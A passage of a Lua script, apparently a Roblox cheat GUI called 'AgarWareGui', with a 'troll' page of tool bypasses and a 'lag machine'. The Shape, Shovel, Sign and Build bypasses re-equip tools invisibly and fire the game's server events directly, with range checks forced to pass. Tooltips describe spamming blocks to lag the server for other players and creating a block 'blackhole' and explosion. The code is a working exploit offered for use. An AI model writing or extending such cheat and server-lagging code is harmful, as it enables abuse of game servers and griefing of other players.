return true
end
return false
end
local function enable()
local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
if not shapeUI then
print("[ShapeBypass] Shape UI not found")
isEnabled = false
updateVisual()
return
end
local shapeTool = hasShapeTool()
if not shapeTool then
print("[ShapeBypass] Shape tool not found in backpack or character")
isEnabled = false
updateVisual()
return
end
local shapeEvent = shapeTool:FindFirstChild("Script") and shapeTool.Script:FindFirstChild("Event")
if not shapeEvent then
print("[ShapeBypass] Shape event not found")
isEnabled = false
updateVisual()
return
end
-- Initial refresh (instant and invisible)
refreshShapeTool()
if mouseConn then mouseConn:Disconnect() end
mouseConn = mouse.Button1Down:Connect(function()
if not isEnabled then return end
local target = mouse.Target
-- Only works on "Brick" objects
if target and target.Name == "Brick" then
local currentTime = tick()
-- Track clicks to detect if shaping is not working
if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
clickCount = clickCount + 1
else
clickCount = 1
end
lastClickTime = currentTime
-- If we've clicked rapidly many times, assume the tool needs refresh
if clickCount >= AUTO_REFRESH_THRESHOLD then
print("[ShapeBypass] Auto-refresh triggered (tool may have stopped working)")
refreshShapeTool()
clickCount = 0 -- Reset counter
end
-- Check if Range Bypass is enabled
local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
local inRange = true
if inRange then
-- Re-find the shape tool and event in case it changed
local currentShapeTool = hasShapeTool()
if currentShapeTool then
local currentEvent = currentShapeTool:FindFirstChild("Script") and currentShapeTool.Script:FindFirstChild("Event")
local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
if currentEvent and currentUI then
currentEvent:FireServer(
target,
mouse.TargetSurface,
mouse.Hit.Position,
currentUI.Button.Text
)
else
print("[ShapeBypass] Event or UI lost, refreshing...")
refreshShapeTool()
end
end
end
end
end)
-- Watch backpack for shape tool removal
if backpackConn then backpackConn:Disconnect() end
backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
if child.Name == "Shape" then
task.wait(0.2)
if not hasShapeTool() then
print("[ShapeBypass] Shape tool removed, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
-- Watch character for shape tool removal
if charConn then charConn:Disconnect() end
if LocalPlayer.Character then
charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
if child.Name == "Shape" then
task.wait(0.2)
if not hasShapeTool() then
print("[ShapeBypass] Shape tool removed from character, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
end
print("[ShapeBypass] ON")
end
--------------------------------------------------
-- TOGGLE
--------------------------------------------------
ShapeBypassTickBox.MouseButton1Down:Connect(function()
-- Check if tool exists when clicking
if not hasShapeTool() then
ShapeBypassText.Text = NOT_FOUND_TEXT
end
end)
ShapeBypassTickBox.MouseButton1Up:Connect(function()
-- Reset text when releasing
ShapeBypassText.Text = NORMAL_TEXT
end)
ShapeBypassTickBox.MouseButton1Click:Connect(function()
-- Only toggle if tool exists
if not hasShapeTool() then
print("[ShapeBypass] Cannot enable - Shape tool not found")
return
end
isEnabled = not isEnabled
updateVisual()
if isEnabled then
enable()
else
disable()
end
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
end
end)
end;
task.spawn(C_198);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassScript
local function C_19c()
local script = G2L["19c"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local ShovelBypassRow = script.Parent
local BypassGroup = ShovelBypassRow.Parent
local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
local ShovelBypassTickBox = ShovelBypassRow:WaitForChild("ShovelBypassTickBox")
local ShovelBypassText = ShovelBypassRow:WaitForChild("ShovelBypassText")
-- Find the Range Bypass value
local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
local isEnabled = false
local mouseConn = nil
local backpackConn = nil
local charConn = nil
local lastClickTime = 0
local clickCount = 0
local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no digging
local NORMAL_TEXT = "Shovel"
local NOT_FOUND_TEXT = "Tool not found"
local function updateVisual()
if isEnabled then
ShovelBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
else
ShovelBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
updateVisual()
local mouse = LocalPlayer:GetMouse()
local function disable()
if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
if charConn then charConn:Disconnect(); charConn = nil end
local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
if shovelUI then shovelUI.Enabled = false end
print("[ShovelBypass] OFF")
end
local function hasShovelTool()
return LocalPlayer.Backpack:FindFirstChild("Shovel")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shovel"))
end
-- INSTANT re-equip and unequip function (keeps UI visible)
local function refreshShovelTool()
local shovelTool = hasShovelTool()
if not shovelTool then
print("[ShovelBypass] Shovel tool not found, cannot refresh")
return false
end
local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
if not shovelUI then
print("[ShovelBypass] Shovel UI not found, cannot refresh")
return false
end
-- Store currently equipped tool to re-equip it after
local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
-- Move to backpack if it's in character
if shovelTool.Parent == LocalPlayer.Character then
shovelTool.Parent = LocalPlayer.Backpack
task.wait()
end
-- Equip shovel tool instantly
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(shovelTool)
-- Use RenderStepped to unequip on the very next frame (invisible to player)
game:GetService("RunService").RenderStepped:Wait()
-- Enable UI BEFORE unequipping
shovelUI.Enabled = true
-- Unequip immediately
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:UnequipTools()
end
-- Wait a tiny bit and force UI to stay enabled
task.wait(0.05)
shovelUI.Enabled = true
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
end
print("[ShovelBypass] Tool refreshed (invisible, UI kept)")
return true
end
return false
end
local function enable()
local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
if not shovelUI then
print("[ShovelBypass] Shovel UI not found")
isEnabled = false
updateVisual()
return
end
local shovelTool = hasShovelTool()
if not shovelTool then
print("[ShovelBypass] Shovel tool not found in backpack or character")
isEnabled = false
updateVisual()
return
end
local shovelEvent = shovelTool:FindFirstChild("Script") and shovelTool.Script:FindFirstChild("Event")
if not shovelEvent then
print("[ShovelBypass] Shovel event not found")
isEnabled = false
updateVisual()
return
end
-- Initial refresh (instant and invisible)
refreshShovelTool()
if mouseConn then mouseConn:Disconnect() end
mouseConn = mouse.Button1Down:Connect(function()
if not isEnabled then return end
local target = mouse.Target
if target then
local currentTime = tick()
-- Track clicks to detect if digging is not working
if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
clickCount = clickCount + 1
else
clickCount = 1
end
lastClickTime = currentTime
-- If we've clicked rapidly many times, assume the tool needs refresh
if clickCount >= AUTO_REFRESH_THRESHOLD then
print("[ShovelBypass] Auto-refresh triggered (tool may have stopped working)")
refreshShovelTool()
clickCount = 0 -- Reset counter
end
-- Check if Range Bypass is enabled
local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
local inRange = true
if inRange then
-- Re-find the shovel tool and event in case it changed
local currentShovelTool = hasShovelTool()
if currentShovelTool then
local currentEvent = currentShovelTool:FindFirstChild("Script") and currentShovelTool.Script:FindFirstChild("Event")
local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
if currentEvent and currentUI then
currentEvent:FireServer(
target,
mouse.TargetSurface,
mouse.Hit.Position,
currentUI.Button.Text
)
else
print("[ShovelBypass] Event or UI lost, refreshing...")
refreshShovelTool()
end
end
end
end
end)
-- Watch backpack for shovel tool removal
if backpackConn then backpackConn:Disconnect() end
backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
if child.Name == "Shovel" then
task.wait(0.2)
if not hasShovelTool() then
print("[ShovelBypass] Shovel tool removed, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
-- Watch character for shovel tool removal
if charConn then charConn:Disconnect() end
if LocalPlayer.Character then
charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
if child.Name == "Shovel" then
task.wait(0.2)
if not hasShovelTool() then
print("[ShovelBypass] Shovel tool removed from character, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
end
print("[ShovelBypass] ON")
end
--------------------------------------------------
-- TOGGLE
--------------------------------------------------
ShovelBypassTickBox.MouseButton1Down:Connect(function()
-- Check if tool exists when clicking
if not hasShovelTool() then
ShovelBypassText.Text = NOT_FOUND_TEXT
end
end)
ShovelBypassTickBox.MouseButton1Up:Connect(function()
-- Reset text when releasing
ShovelBypassText.Text = NORMAL_TEXT
end)
ShovelBypassTickBox.MouseButton1Click:Connect(function()
-- Only toggle if tool exists
if not hasShovelTool() then
print("[ShovelBypass] Cannot enable - Shovel tool not found")
return
end
isEnabled = not isEnabled
updateVisual()
if isEnabled then
enable()
else
disable()
end
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
end
end)
end;
task.spawn(C_19c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassScript
local function C_1a0()
local script = G2L["1a0"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local SignBypassRow = script.Parent
local BypassGroup = SignBypassRow.Parent
local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
local SignBypassTickBox = SignBypassRow:WaitForChild("SignBypassTickBox")
local SignBypassText = SignBypassRow:WaitForChild("SignBypassText")
-- Find the Range Bypass value
local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
local isEnabled = false
local mouseConn = nil
local backpackConn = nil
local charConn = nil
local lastClickTime = 0
local clickCount = 0
local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no sign placement
local NORMAL_TEXT = "Sign"
local NOT_FOUND_TEXT = "Tool not found"
local function updateVisual()
if isEnabled then
SignBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
else
SignBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
updateVisual()
local mouse = LocalPlayer:GetMouse()
local function disable()
if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
if charConn then charConn:Disconnect(); charConn = nil end
print("[SignBypass] OFF")
end
local function hasSignTool()
return LocalPlayer.Backpack:FindFirstChild("Sign")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Sign"))
end
-- INSTANT re-equip and unequip function (no UI for Sign tool)
local function refreshSignTool()
local signTool = hasSignTool()
if not signTool then
print("[SignBypass] Sign tool not found, cannot refresh")
return false
end
-- Store currently equipped tool to re-equip it after
local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
-- Move to backpack if it's in character
if signTool.Parent == LocalPlayer.Character then
signTool.Parent = LocalPlayer.Backpack
task.wait()
end
-- Equip sign tool instantly
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(signTool)
-- Use RenderStepped to unequip on the very next frame (invisible to player)
game:GetService("RunService").RenderStepped:Wait()
-- Unequip immediately
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:UnequipTools()
end
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
task.wait()
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
end
print("[SignBypass] Tool refreshed (invisible)")
return true
end
return false
end
local function enable()
local signTool = hasSignTool()
if not signTool then
print("[SignBypass] Sign tool not found in backpack or character")
isEnabled = false
updateVisual()
return
end
local signEvent = signTool:FindFirstChild("Script") and signTool.Script:FindFirstChild("Event")
if not signEvent then
print("[SignBypass] Sign event not found")
isEnabled = false
updateVisual()
return
end
-- Initial refresh (instant and invisible)
refreshSignTool()
if mouseConn then mouseConn:Disconnect() end
mouseConn = mouse.Button1Down:Connect(function()
if not isEnabled then return end
local target = mouse.Target
if target then
local currentTime = tick()
-- Track clicks to detect if sign placement is not working
if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
clickCount = clickCount + 1
else
clickCount = 1
end
lastClickTime = currentTime
-- If we've clicked rapidly many times, assume the tool needs refresh
if clickCount >= AUTO_REFRESH_THRESHOLD then
print("[SignBypass] Auto-refresh triggered (tool may have stopped working)")
refreshSignTool()
clickCount = 0 -- Reset counter
end
-- Check if Range Bypass is enabled
local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
local inRange = true
if inRange then
-- Re-find the sign tool and event in case it changed
local currentSignTool = hasSignTool()
if currentSignTool then
local currentEvent = currentSignTool:FindFirstChild("Script") and currentSignTool.Script:FindFirstChild("Event")
if currentEvent then
currentEvent:FireServer(
target,
mouse.TargetSurface,
mouse.Hit.Position
)
else
print("[SignBypass] Event lost, refreshing...")
refreshSignTool()
end
end
end
end
end)
-- Watch backpack for sign tool removal
if backpackConn then backpackConn:Disconnect() end
backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
if child.Name == "Sign" then
task.wait(0.2)
if not hasSignTool() then
print("[SignBypass] Sign tool removed, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
-- Watch character for sign tool removal
if charConn then charConn:Disconnect() end
if LocalPlayer.Character then
charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
if child.Name == "Sign" then
task.wait(0.2)
if not hasSignTool() then
print("[SignBypass] Sign tool removed from character, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
end
print("[SignBypass] ON")
end
--------------------------------------------------
-- TOGGLE
--------------------------------------------------
SignBypassTickBox.MouseButton1Down:Connect(function()
-- Check if tool exists when clicking
if not hasSignTool() then
SignBypassText.Text = NOT_FOUND_TEXT
end
end)
SignBypassTickBox.MouseButton1Up:Connect(function()
-- Reset text when releasing
SignBypassText.Text = NORMAL_TEXT
end)
SignBypassTickBox.MouseButton1Click:Connect(function()
-- Only toggle if tool exists
if not hasSignTool() then
print("[SignBypass] Cannot enable - Sign tool not found")
return
end
isEnabled = not isEnabled
updateVisual()
if isEnabled then
enable()
else
disable()
end
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
end
end)
end;
task.spawn(C_1a0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassScript
local function C_1a4()
local script = G2L["1a4"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local BuildBypassRow = script.Parent
local BypassGroup = BuildBypassRow.Parent
local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
local BuildBypassTickBox = BuildBypassRow:WaitForChild("BuildBypassTickBox")
local BuildBypassText = BuildBypassRow:WaitForChild("BuildBypassText")
-- Find the Range Bypass value
local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
local isEnabled = false
local mouseConn = nil
local backpackConn = nil
local charConn = nil
local lastClickTime = 0
local clickCount = 0
local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no building
local NORMAL_TEXT = "Build"
local NOT_FOUND_TEXT = "Tool not found"
local function updateVisual()
if isEnabled then
BuildBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
else
BuildBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
updateVisual()
local mouse = LocalPlayer:GetMouse()
local function disable()
if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
if charConn then charConn:Disconnect(); charConn = nil end
local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
if buildUI then buildUI.Enabled = false end
print("[BuildBypass] OFF")
end
local function hasBuildTool()
return LocalPlayer.Backpack:FindFirstChild("Build")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build"))
end
-- INSTANT re-equip and unequip function (keeps UI visible)
local function refreshBuildTool()
local buildTool = hasBuildTool()
if not buildTool then
print("[BuildBypass] Build tool not found, cannot refresh")
return false
end
local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
if not buildUI then
print("[BuildBypass] Build UI not found, cannot refresh")
return false
end
-- Store currently equipped tool to re-equip it after
local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
-- Move to backpack if it's in character
if buildTool.Parent == LocalPlayer.Character then
buildTool.Parent = LocalPlayer.Backpack
task.wait()
end
-- Equip build tool instantly
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(buildTool)
-- Use RenderStepped to unequip on the very next frame (invisible to player)
game:GetService("RunService").RenderStepped:Wait()
-- Enable UI BEFORE unequipping
buildUI.Enabled = true
-- Unequip immediately
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:UnequipTools()
end
-- Wait a tiny bit and force UI to stay enabled
task.wait(0.05)
buildUI.Enabled = true
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
end
print("[BuildBypass] Tool refreshed (invisible, UI kept)")
return true
end
return false
end
local function enable()
local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
if not buildUI then
print("[BuildBypass] Build UI not found")
isEnabled = false
updateVisual()
return
end
local buildTool = hasBuildTool()
if not buildTool then
print("[BuildBypass] Build tool not found in backpack or character")
isEnabled = false
updateVisual()
return
end
local buildEvent = buildTool:FindFirstChild("Script") and buildTool.Script:FindFirstChild("Event")
if not buildEvent then
print("[BuildBypass] Build event not found")
isEnabled = false
updateVisual()
return
end
-- Initial refresh (instant and invisible)
refreshBuildTool()
if mouseConn then mouseConn:Disconnect() end
mouseConn = mouse.Button1Down:Connect(function()
if not isEnabled then return end
local target = mouse.Target
if target then
local currentTime = tick()
-- Track clicks to detect if building is not working
if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
clickCount = clickCount + 1
else
clickCount = 1
end
lastClickTime = currentTime
-- If we've clicked rapidly many times, assume the tool needs refresh
if clickCount >= AUTO_REFRESH_THRESHOLD then
print("[BuildBypass] Auto-refresh triggered (tool may have stopped working)")
refreshBuildTool()
clickCount = 0 -- Reset counter
end
-- Check if Range Bypass is enabled
local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
local inRange = true
if inRange then
-- Re-find the build tool and event in case it changed
local currentBuildTool = hasBuildTool()
if currentBuildTool then
local currentEvent = currentBuildTool:FindFirstChild("Script") and currentBuildTool.Script:FindFirstChild("Event")
local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
if currentEvent and currentUI then
currentEvent:FireServer(
target,
mouse.TargetSurface,
mouse.Hit.Position,
currentUI.Button.Text
)
else
print("[BuildBypass] Event or UI lost, refreshing...")
refreshBuildTool()
end
end
end
end
end)
-- Watch backpack for build tool removal
if backpackConn then backpackConn:Disconnect() end
backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
if child.Name == "Build" then
task.wait(0.2)
if not hasBuildTool() then
print("[BuildBypass] Build tool removed, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
-- Watch character for build tool removal
if charConn then charConn:Disconnect() end
if LocalPlayer.Character then
charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
if child.Name == "Build" then
task.wait(0.2)
if not hasBuildTool() then
print("[BuildBypass] Build tool removed from character, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
end
print("[BuildBypass] ON")
end
--------------------------------------------------
-- TOGGLE
--------------------------------------------------
BuildBypassTickBox.MouseButton1Down:Connect(function()
-- Check if tool exists when clicking
if not hasBuildTool() then
BuildBypassText.Text = NOT_FOUND_TEXT
end
end)
BuildBypassTickBox.MouseButton1Up:Connect(function()
-- Reset text when releasing
BuildBypassText.Text = NORMAL_TEXT
end)
BuildBypassTickBox.MouseButton1Click:Connect(function()
-- Only toggle if tool exists
if not hasBuildTool() then
print("[BuildBypass] Cannot enable - Build tool not found")
return
end
isEnabled = not isEnabled
updateVisual()
if isEnabled then
enable()
else
disable()
end
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
end
end)
end;
task.spawn(C_1a4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagScript
local function C_1a8()
local script = G2L["1a8"];
-- LagMinimizeScript (inside LagGroup)
local LagGroup = script.Parent
local LagMinimize = LagGroup.LagTitle.LagMinimize
local function getRows()
local rows = {}
for _, child in ipairs(LagGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = LagGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
LagMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
LagGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
LagMinimize.Text = "+"
else
LagGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
LagMinimize.Text = "-"
end
end)
end;
task.spawn(C_1a8);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagToolTip
local function C_1a9()
local script = G2L["1a9"];
-- ============================================================
-- LAG GROUP TOOLTIP SCRIPT
-- Tooltips for LagGroup features
-- ============================================================
local LagGroup = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND ELEMENTS IN LAGGROUP
-- ============================================================
local function findDescendant(name)
for _, v in pairs(LagGroup:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local BlockSizeHelp = findDescendant("BlockSizeHelp")
local SpamSelectHelp = findDescendant("SpamSelectHelp")
local LagHelp = findDescendant("LagHelp")
local ReduceLagTickBox = findDescendant("ReduceLagTickBox")
local BlackholeLagTickBox = findDescendant("BlackholeLagTickBox")
local OrbitBlackholeTickBox = findDescendant("OrbitBlackholeTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local blockSizeTooltip = makeTooltip("Changes the size of the blocks the lag machine uses. (Recommended: 1, Max size: 6)")
local spamSelectTooltip = makeTooltip("How to Use:\nPress Select Block and click on a block you want the lag machine to start. Then press Start Spam and it would auto paint and shape and begin to start placing blocks.\n\nBuild mode must be set to normal, not detailed. You can change how big the blocks are set to in Block Size.")
local lagHelpTooltip = makeTooltip("Allows you to make a lag machine automatically using toxified blocks without having to stand near it.\nThe block you selected hovers over your head. (No one can see it, don't worry)")
local reduceLagTooltip = makeTooltip("Disables visual effects on your own lag machine to reduce lag just for you. Other players still see the full effects.")
local blackholeTooltip = makeTooltip("Brings all lag blocks into one place to create a small blackhole. Toggling it off will create a massive explosion of blocks.")
local orbitTooltip = makeTooltip("Makes the blackhole orbit around you in a 15 stud radius. Adjust speed in the blue box next to it. (default = 10)")
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(BlockSizeHelp, blockSizeTooltip)
hookTooltip(SpamSelectHelp, spamSelectTooltip)
hookTooltip(LagHelp, lagHelpTooltip)
hookTooltip(ReduceLagTickBox, reduceLagTooltip)
hookTooltip(BlackholeLagTickBox, blackholeTooltip)
hookTooltip(OrbitBlackholeTickBox, orbitTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
if blockSizeTooltip then blockSizeTooltip:Destroy() end
if spamSelectTooltip then spamSelectTooltip:Destroy() end
if lagHelpTooltip then lagHelpTooltip:Destroy() end
if reduceLagTooltip then reduceLagTooltip:Destroy() end
if blackholeTooltip then blackholeTooltip:Destroy() end
if orbitTooltip then orbitTooltip:Destroy() end
end
end)
end;
task.spawn(C_1a9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectScript
local function C_1b0()
local script = G2L["1b0"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")
local SpamSelectRow = script.Parent
local LagGroup = SpamSelectRow.Parent
local LagAccentColor = LagGroup:WaitForChild("LagAccentColor")
local SpamSelectButton = SpamSelectRow:WaitForChild("SpamSelectButton")
-- Shared state for other scripts to access
local SelectedBlockValue = LagGroup:FindFirstChild("SelectedBlock") or Instance.new("ObjectValue")
SelectedBlockValue.Name = "SelectedBlock"
SelectedBlockValue.Parent = LagGroup
SelectedBlockValue.Value = nil
-- States
local isSelectingBlock = false
local currentHighlight = nil
local mouseConn = nil
-- Text states
local TEXT_DEFAULT = "Select Block"
local TEXT_SELECTING = "Select a block..."
local TEXT_SELECTED = "Block Selected"
-- Initialize button text
SpamSelectButton.Text = TEXT_DEFAULT
-- ============================================================
-- CLEANUP HIGHLIGHT
-- ============================================================
local function removeHighlight()
if currentHighlight then
currentHighlight:Destroy()
currentHighlight = nil
end
end
-- ============================================================
-- CREATE HIGHLIGHT ON SELECTED BLOCK
-- ============================================================
local function highlightBlock(block)
removeHighlight()
if not block or not block:IsA("BasePart") then return end
-- Create highlight
local highlight = Instance.new("Highlight")
highlight.Adornee = block
highlight.FillColor = Color3.fromRGB(255, 255, 0) -- Yellow
highlight.OutlineColor = Color3.fromRGB(255, 200, 0)
highlight.FillTransparency = 0.5
highlight.OutlineTransparency = 0
highlight.Parent = block
currentHighlight = highlight
end
-- ============================================================
-- SELECT BLOCK
-- ============================================================
local function selectBlock(block)
if not block or not block:IsA("BasePart") or block.Name ~= "Brick" then
return false
end
-- Check if it's in Workspace.Bricks.[Username]
local parent = block.Parent
if not parent or parent.Parent ~= workspace:FindFirstChild("Bricks") then
return false
end
-- Set the selected block
SelectedBlockValue.Value = block
highlightBlock(block)
-- Stop selecting mode
isSelectingBlock = false
SpamSelectButton.Text = TEXT_SELECTED
print("[SelectBlock] Block selected:", block:GetFullName())
return true
end
-- ============================================================
-- UNSELECT BLOCK
-- ============================================================
local function unselectBlock()
SelectedBlockValue.Value = nil
removeHighlight()
isSelectingBlock = false
SpamSelectButton.Text = TEXT_DEFAULT
print("[SelectBlock] Block unselected")
end
-- ============================================================
-- START SELECTING MODE
-- ============================================================
local function startSelecting()
isSelectingBlock = true
SpamSelectButton.Text = TEXT_SELECTING
-- Disconnect any existing mouse connection
if mouseConn then
mouseConn:Disconnect()
mouseConn = nil
end
-- Set up mouse click detection
local mouse = LocalPlayer:GetMouse()
mouseConn = mouse.Button1Down:Connect(function()
if not isSelectingBlock then return end
local target = mouse.Target
if target then
-- If clicking the currently selected block, unselect it
if SelectedBlockValue.Value == target then
